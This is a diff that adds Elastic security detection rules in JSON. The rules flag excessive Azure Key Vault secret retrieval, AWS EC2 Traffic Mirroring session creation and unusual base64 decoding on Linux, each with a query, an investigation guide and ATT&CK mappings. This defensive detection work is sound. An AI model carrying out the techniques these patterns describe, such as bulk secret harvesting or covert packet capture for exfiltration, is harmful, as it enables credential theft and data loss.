\"CertificateContactsGet\",\n \"CertificateIssuerGet\",\n \"CertificateIssuersList\"\n )\n\n// Truncate timestamps into 1-minute windows\n| EVAL Esql.time_window.date_trunc = DATE_TRUNC(1 minute, @timestamp)\n\n// Aggregate identity, geo, resource, and activity info\n| STATS\n Esql.azure.platformlogs.identity.claim.upn.values = VALUES(azure.platformlogs.identity.claim.upn),\n Esql.azure.platformlogs.identity.claim.upn.count_unique = COUNT_DISTINCT(azure.platformlogs.identity.claim.upn),\n Esql.azure.platformlogs.identity.claim.appid.values = VALUES(azure.platformlogs.identity.claim.appid),\n Esql.azure.platformlogs.identity.claim.objectid.values = VALUES(azure.platformlogs.identity.claim.objectid),\n\n Esql.source.ip.values = VALUES(source.ip),\n Esql.geo.city.values = VALUES(geo.city_name),\n Esql.geo.region.values = VALUES(geo.region_name),\n Esql.geo.country.values = VALUES(geo.country_name),\n Esql.network.as_org.values = VALUES(source.as.organization.name),\n\n Esql.event.actions.values = VALUES(event.action),\n Esql.event.count = COUNT(*),\n Esql.event.action.count_distinct = COUNT_DISTINCT(event.action),\n Esql.azure.resource.name.count_distinct = COUNT_DISTINCT(azure.resource.name),\n Esql.azure.resource.name.values = VALUES(azure.resource.name),\n Esql.azure.platformlogs.result_type.values = VALUES(azure.platformlogs.result_type),\n Esql.cloud.region.values = VALUES(cloud.region),\n\n Esql.agent.name.values = VALUES(agent.name),\n Esql.azure.subscription_id.values = VALUES(azure.subscription_id),\n Esql.azure.resource_group.values = VALUES(azure.resource.group),\n Esql.azure.resource_id.values = VALUES(azure.resource.id)\n\nBY Esql.time_window.date_trunc, azure.platformlogs.identity.claim.upn\n\n// Keep relevant fields\n| KEEP\n Esql.time_window.date_trunc,\n Esql.azure.platformlogs.identity.claim.upn.values,\n Esql.azure.platformlogs.identity.claim.upn.count_unique,\n Esql.azure.platformlogs.identity.claim.appid.values,\n Esql.azure.platformlogs.identity.claim.objectid.values,\n Esql.source.ip.values,\n Esql.geo.city.values,\n Esql.geo.region.values,\n Esql.geo.country.values,\n Esql.network.as_org.values,\n Esql.event.actions.values,\n Esql.event.count,\n Esql.event.action.count_distinct,\n Esql.azure.resource.name.count_distinct,\n Esql.azure.resource.name.values,\n Esql.azure.platformlogs.result_type.values,\n Esql.cloud.region.values,\n Esql.agent.name.values,\n Esql.azure.subscription_id.values,\n Esql.azure.resource_group.values,\n Esql.azure.resource_id.values\n\n// Filter for suspiciously high volume of distinct Key Vault reads by a single actor\n| WHERE Esql.azure.platformlogs.identity.claim.upn.count_unique == 1 AND Esql.event.count >= 10 AND Esql.event.action.count_distinct >= 2\n\n| SORT Esql.time_window.date_trunc DESC\n", - "references": [ - "https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html" - ], - "risk_score": 43, - "rule_id": "c07f7898-5dc3-11f0-9f27-f661ea17fbcd", - "setup": "#### Required Azure Key Vault Diagnostic Logs\n\nTo ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault:\n- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration.\n", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: Storage", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Azure Platform Logs", - "Data Source: Azure Key Vault", - "Use Case: Threat Detection", - "Use Case: Identity and Access Audit", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1555", - "name": "Credentials from Password Stores", - "reference": "https://attack.mitre.org/techniques/T1555/", - "subtechnique": [ - { - "id": "T1555.006", - "name": "Cloud Secrets Management Stores", - "reference": "https://attack.mitre.org/techniques/T1555/006/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "c07f7898-5dc3-11f0-9f27-f661ea17fbcd_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_5.json b/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_5.json new file mode 100644 index 00000000000..2dbefc28c91 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_5.json @@ -0,0 +1,181 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information.", + "false_positives": [ + "Service accounts or applications that frequently access Azure Key Vault for configuration or operational purposes may trigger this rule.", + "Automated scripts or processes that retrieve secrets or keys for legitimate purposes, such as secret rotation or application configuration, may also lead to false positives.", + "Security teams performing routine audits or assessments that involve retrieving keys or secrets from Key Vaults may trigger this rule if they perform multiple retrievals in a short time frame." + ], + "from": "now-9m", + "interval": "8m", + "language": "esql", + "license": "Elastic License v2", + "name": "Excessive Secret or Key Retrieval from Azure Key Vault", + "note": "## Triage and analysis\n\n### Investigating Excessive Secret or Key Retrieval from Azure Key Vault\n\nAzure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts.\n\n### Possible investigation steps\n- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious.\n- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies.\n- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources.\n- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault.\n- Check the `source.ip` or `source.geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior.\n- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity.\n- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents.\n- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies.\n\n### False positive analysis\n- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications.\n- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n\n### Response and remediation\n- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals.\n- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault.\n- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals.\n- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts.\n- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets.\n- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments.\n", + "query": "from logs-azure.platformlogs-* metadata _id, _index\n\n// Filter for Azure Key Vault read operations\n| where event.dataset == \"azure.platformlogs\"\n and event.action in (\n \"VaultGet\",\n \"KeyGet\",\n \"KeyList\",\n \"KeyListVersions\",\n \"KeyGetDeleted\",\n \"KeyListDeleted\",\n \"SecretGet\",\n \"SecretList\",\n \"SecretListVersions\",\n \"SecretGetDeleted\",\n \"SecretListDeleted\",\n \"CertificateGet\",\n \"CertificateList\",\n \"CertificateListVersions\",\n \"CertificateGetDeleted\",\n \"CertificateListDeleted\",\n \"CertificatePolicyGet\",\n \"CertificateContactsGet\",\n \"CertificateIssuerGet\",\n \"CertificateIssuersList\"\n )\n\n// Truncate timestamps into 1-minute windows\n| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp)\n\n// Aggregate identity, geo, resource, and activity info\n| stats\n Esql_priv.azure_platformlogs_identity_claim_upn_values = values(azure.platformlogs.identity.claim.upn),\n Esql.azure_platformlogs_identity_claim_upn_count_distinct = count_distinct(azure.platformlogs.identity.claim.upn),\n Esql.azure_platformlogs_identity_claim_appid_values = values(azure.platformlogs.identity.claim.appid),\n\n Esql.source_ip_values = values(source.ip),\n Esql.source_geo_city_values = values(source.geo.city_name),\n Esql.source_geo_region_values = values(source.geo.region_name),\n Esql.source_geo_country_values = values(source.geo.country_name),\n Esql.source_as_organization_name_values = values(source.as.organization.name),\n\n Esql.event_action_values = values(event.action),\n Esql.event_count = count(*),\n Esql.event_action_count_distinct = count_distinct(event.action),\n Esql.azure_resource_name_count_distinct = count_distinct(azure.resource.name),\n Esql.azure_resource_name_values = values(azure.resource.name),\n Esql.azure_platformlogs_result_type_values = values(azure.platformlogs.result_type),\n Esql.cloud_region_values = values(cloud.region),\n\n Esql.agent_name_values = values(agent.name),\n Esql.azure_subscription_id_values = values(azure.subscription_id),\n Esql.azure_resource_group_values = values(azure.resource.group),\n Esql.azure_resource_id_values = values(azure.resource.id)\n\nby Esql.time_window_date_trunc, azure.platformlogs.identity.claim.upn\n\n// keep relevant fields\n| keep\n Esql.time_window_date_trunc,\n Esql_priv.azure_platformlogs_identity_claim_upn_values,\n Esql.azure_platformlogs_identity_claim_upn_count_distinct,\n Esql.azure_platformlogs_identity_claim_appid_values,\n Esql.source_ip_values,\n Esql.source_geo_city_values,\n Esql.source_geo_region_values,\n Esql.source_geo_country_values,\n Esql.source_as_organization_name_values,\n Esql.event_action_values,\n Esql.event_count,\n Esql.event_action_count_distinct,\n Esql.azure_resource_name_count_distinct,\n Esql.azure_resource_name_values,\n Esql.azure_platformlogs_result_type_values,\n Esql.cloud_region_values,\n Esql.agent_name_values,\n Esql.azure_subscription_id_values,\n Esql.azure_resource_group_values,\n Esql.azure_resource_id_values\n\n// Filter for suspiciously high volume of distinct Key Vault reads by a single actor\n| where Esql.azure_platformlogs_identity_claim_upn_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_action_count_distinct >= 2\n\n| sort Esql.time_window_date_trunc desc\n", + "references": [ + "https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + }, + { + "integration": "platformlogs", + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_platformlogs_identity_claim_appid_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_platformlogs_identity_claim_upn_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_platformlogs_result_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_resource_group_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_resource_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_resource_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_subscription_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.cloud_region_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_action_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_action_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_city_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_region_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.azure_platformlogs_identity_claim_upn_values", + "type": "keyword" + } + ], + "risk_score": 43, + "rule_id": "c07f7898-5dc3-11f0-9f27-f661ea17fbcd", + "setup": "#### Required Azure Key Vault Diagnostic Logs\n\nTo ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault:\n- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration.\n", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Storage", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Azure Platform Logs", + "Data Source: Azure Key Vault", + "Use Case: Threat Detection", + "Use Case: Identity and Access Audit", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1555", + "name": "Credentials from Password Stores", + "reference": "https://attack.mitre.org/techniques/T1555/", + "subtechnique": [ + { + "id": "T1555.006", + "name": "Cloud Secrets Management Stores", + "reference": "https://attack.mitre.org/techniques/T1555/006/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "c07f7898-5dc3-11f0-9f27-f661ea17fbcd_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c1812764-0788-470f-8e74-eb4a14d47573_210.json b/packages/security_detection_engine/kibana/security_rule/c1812764-0788-470f-8e74-eb4a14d47573_210.json new file mode 100644 index 00000000000..a43edbd7e71 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c1812764-0788-470f-8e74-eb4a14d47573_210.json @@ -0,0 +1,143 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets.", + "false_positives": [ + "Traffic Mirroring may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Traffic Mirroring from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS EC2 Full Network Packet Capture Detected", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 Full Network Packet Capture Detected\n\nThis alert fires on a successful `CreateTrafficMirrorSession`, which enables full-packet Traffic Mirroring from a\nsource ENI to a mirror target under a given filter. Because sessions immediately begin sending packets once active,\ntreat unexpected creations as high priority.\n\n#### Possible investigation steps\n\n**Identify the actor and execution context**\n- **Principal**: Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and\n `aws.cloudtrail.user_identity.access_key_id` to determine who created the session (human IAM user vs. assumed role vs. automation).\n- **Caller metadata**: Check `user_agent.original`, and `source.ip` for unusual tools, hosts, or locations.\n- **Account/Region/Time**: Validate `cloud.account.id`, `cloud.region`, and `@timestamp` against change windows or tickets.\n\n**Extract the session details from the event**\n- **Request parameters**: Parse `aws.cloudtrail.request_parameters` for:\n - `NetworkInterfaceId` (mirrored source ENI) map to the EC2 instance and its business function.\n - `TrafficMirrorTargetId` identify where packets are being sent (ENI vs. NLB).\n - `TrafficMirrorFilterId` check which directions and protocols are allowed (ingress/egress, ports).\n - `SessionNumber`, `Description`, `TagSpecifications` look for operator tags or suspicious notes.\n- **Response elements**: Use `aws.cloudtrail.response_elements` to confirm the created `TrafficMirrorSessionId` and\n any resolved resource ARNs/IDs.\n\n**Pivot for related API calls to validate scope and intent**\nLook before and after this event (\u00b130\u201360 minutes) by the same principal / access key / source IP for:\n- **Target & Filter lifecycle**: `CreateTrafficMirrorTarget`, `CreateTrafficMirrorFilter`, `CreateTrafficMirrorFilterRule`,\n `ModifyTrafficMirrorSession|Filter|FilterRule`, and `Delete*` calls (rapid create-modify patterns can indicate staging).\n- **Session management**: `DeleteTrafficMirrorSession` shortly after creation (test/probe), or repeated creations to different targets.\n- **Discovery/positioning**: `DescribeNetworkInterfaces`, `DescribeInstances`, `DescribeVpcs/Subnets/RouteTables` around the same time.\n- **Cross-account indicators**: creation of targets that forward to infrastructure not owned by your account (e.g., NLB in shared services).\n- **Other suspicious changes**: IAM permission changes, new access keys, or S3/SNS setup that could support exfil/ops.\n\n**Validate the mirror destination and potential data exposure**\n- If the target is an ENI: identify the owning instance/application; confirm it is an approved NDR/packet capture host.\n- If the target is an NLB target: determine where the NLB sends traffic (could be a collection point in another VPC or account).\n- Assess whether mirrored flows include plaintext protocols (internal HTTP, databases, LDAP, etc.) increasing sensitivity.\n\n### False positive analysis\n\n- **Authorized monitoring**: Approved NDR/IDS tooling or troubleshooting playbooks may legitimately create sessions.\n- **Ops/diagnostics**: Short-lived sessions during incident handling or performance analysis.\n- **Automation**: Infrastructure pipelines that stand up temporary mirroring for validation.\n\n### Response and remediation\n\n**1. Contain**\n- If unauthorized, terminate the session immediately (use the `TrafficMirrorSessionId` from `aws.cloudtrail.response_elements`)\n and block creation permissions for the offending principal.\n- Quarantine or restrict egress from the target if you suspect it is forwarding captured traffic outside approved destinations.\n\n**2. Investigate**\n- Enumerate all active sessions in the affected account/region; verify there aren\u2019t additional rogue sessions.\n- Review related target and filter resources (and recent `Modify*` calls) to understand captured scope and recipients.\n- Trace the source ENI back to the EC2 instance and validate whether sensitive workloads were mirrored.\n\n**3. Recover & harden**\n- Remove or lock down unapproved targets/filters; enforce least privilege on `ec2:CreateTrafficMirrorSession/Target/Filter`.\n- Consider SCPs or IAM conditions limiting who/where sessions can be created (e.g., only into designated monitoring VPCs).\n- Ensure monitoring targets are controlled, logged, and not internet-reachable.\n\n**4. Improve**\n- Add correlation logic to automatically surface CreateTrafficMirrorSession alongside Create/Modify Target/Filter calls by the same actor.\n- Require tags on approved mirroring resources; alert on untagged/unticketed creations.\n- Update playbooks to include a standard validation checklist (principal, source ENI, target, filter rules, destination path).\n\n", + "query": "event.dataset: \"aws.cloudtrail\" and \n event.provider: \"ec2.amazonaws.com\" and\n event.action: \"CreateTrafficMirrorSession\" and\n event.outcome: \"success\"\n", + "references": [ + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorSession.html", + "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "c1812764-0788-470f-8e74-eb4a14d47573", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS EC2", + "Use Case: Network Security Monitoring", + "Tactic: Exfiltration", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1020", + "name": "Automated Exfiltration", + "reference": "https://attack.mitre.org/techniques/T1020/" + }, + { + "id": "T1537", + "name": "Transfer Data to Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1537/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1074", + "name": "Data Staged", + "reference": "https://attack.mitre.org/techniques/T1074/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1040", + "name": "Network Sniffing", + "reference": "https://attack.mitre.org/techniques/T1040/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "c1812764-0788-470f-8e74-eb4a14d47573_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c5637438-e32d-4bb3-bc13-bd7932b3289f_6.json b/packages/security_detection_engine/kibana/security_rule/c5637438-e32d-4bb3-bc13-bd7932b3289f_6.json new file mode 100644 index 00000000000..d6de3dde2d0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c5637438-e32d-4bb3-bc13-bd7932b3289f_6.json @@ -0,0 +1,126 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual Base64 Encoding/Decoding Activity", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Base64 Encoding/Decoding Activity\nBase64 encoding is a method to convert binary data into ASCII text, often used for data transmission. Adversaries exploit this to obfuscate malicious payloads or commands, bypassing security controls. The detection rule identifies suspicious Base64 activity on Linux by monitoring specific processes and command patterns, flagging anomalies for further investigation.\n\n### Possible investigation steps\n\n- Review the process name and command line arguments to understand the context of the Base64 activity. Check if the process name matches known legitimate applications or scripts.\n- Examine the timestamp of the event to determine if the activity occurred during normal operational hours or if it coincides with other suspicious activities.\n- Investigate the host operating system type and agent ID to identify the specific Linux system involved and assess if it has a history of similar alerts or other security incidents.\n- Analyze the process command line for any unusual patterns or parameters that might indicate obfuscation or malicious intent, such as the presence of decode flags or unexpected Base64 operations.\n- Correlate the event with other logs or alerts from the same host or network to identify potential lateral movement or coordinated attacks.\n- Check for any recent changes or deployments on the affected system that might explain the Base64 activity, such as new software installations or updates.\n- Consult threat intelligence sources to determine if the observed Base64 patterns or command line arguments are associated with known malware or attack techniques.\n\n### False positive analysis\n\n- Routine administrative scripts may use base64 encoding for legitimate data processing tasks. Review the process.command_line and process.args fields to identify known scripts and consider excluding them from the rule.\n- Backup or data transfer operations might employ base64 encoding to handle binary data. Verify the process.name and process.command_line to ensure these operations are recognized and add exceptions for these specific processes.\n- Development environments often use base64 encoding for testing purposes. Identify development-related processes by examining the process.name and process.command_line and exclude them if they are part of regular development activities.\n- Automated system monitoring tools might trigger this rule if they use base64 encoding for log or data analysis. Check the agent.id and process.command_line to confirm these tools and exclude them from the rule if they are verified as non-threatening.\n- Security tools that perform data encoding for analysis or reporting could be flagged. Validate these tools by reviewing the process.name and process.command_line and create exceptions for them if they are part of the security infrastructure.\n\n### Response and remediation\n\n- Isolate the affected Linux system from the network to prevent further data exfiltration or lateral movement by the adversary.\n- Terminate any suspicious processes identified by the alert, particularly those involving base64 encoding/decoding, to halt potential malicious activity.\n- Conduct a thorough review of the process command lines and arguments flagged by the alert to identify any malicious scripts or payloads. Remove or quarantine these files as necessary.\n- Check for any unauthorized user accounts or privilege escalations that may have been established during the attack and revoke access immediately.\n- Restore any affected systems or files from a known good backup to ensure the integrity of the system and data.\n- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the suspicious base64 activity.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts exist.\n", + "query": "from logs-endpoint.events.process-*\n| where\n @timestamp > now() - 1h and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"exec\" and (\n (\n process.name in (\"base64\", \"base64plain\", \"base64url\", \"base64mime\", \"base64pem\", \"base32\", \"base16\") and\n process.command_line like \"*-*d*\"\n ) or\n (\n process.name == \"openssl\" and\n process.args == \"enc\" and\n process.args in (\"-d\", \"-base64\", \"-a\")\n ) or\n (\n process.name like \"python*\" and (\n (\n process.args == \"base64\" and\n process.args in (\"-d\", \"-u\", \"-t\")\n ) or\n (\n process.args == \"-c\" and\n process.command_line like \"*base64*\" and\n process.command_line like \"*b64decode*\"\n )\n )\n ) or\n (\n process.name like \"perl*\" and\n process.command_line like \"*decode_base64*\"\n ) or\n (\n process.name like \"ruby*\" and\n process.args == \"-e\" and\n process.command_line like \"*Base64.decode64*\"\n )\n )\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n process.name,\n process.args,\n process.command_line,\n agent.id,\n host.name\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.name, process.command_line\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count < 15\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "c5637438-e32d-4bb3-bc13-bd7932b3289f", + "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + 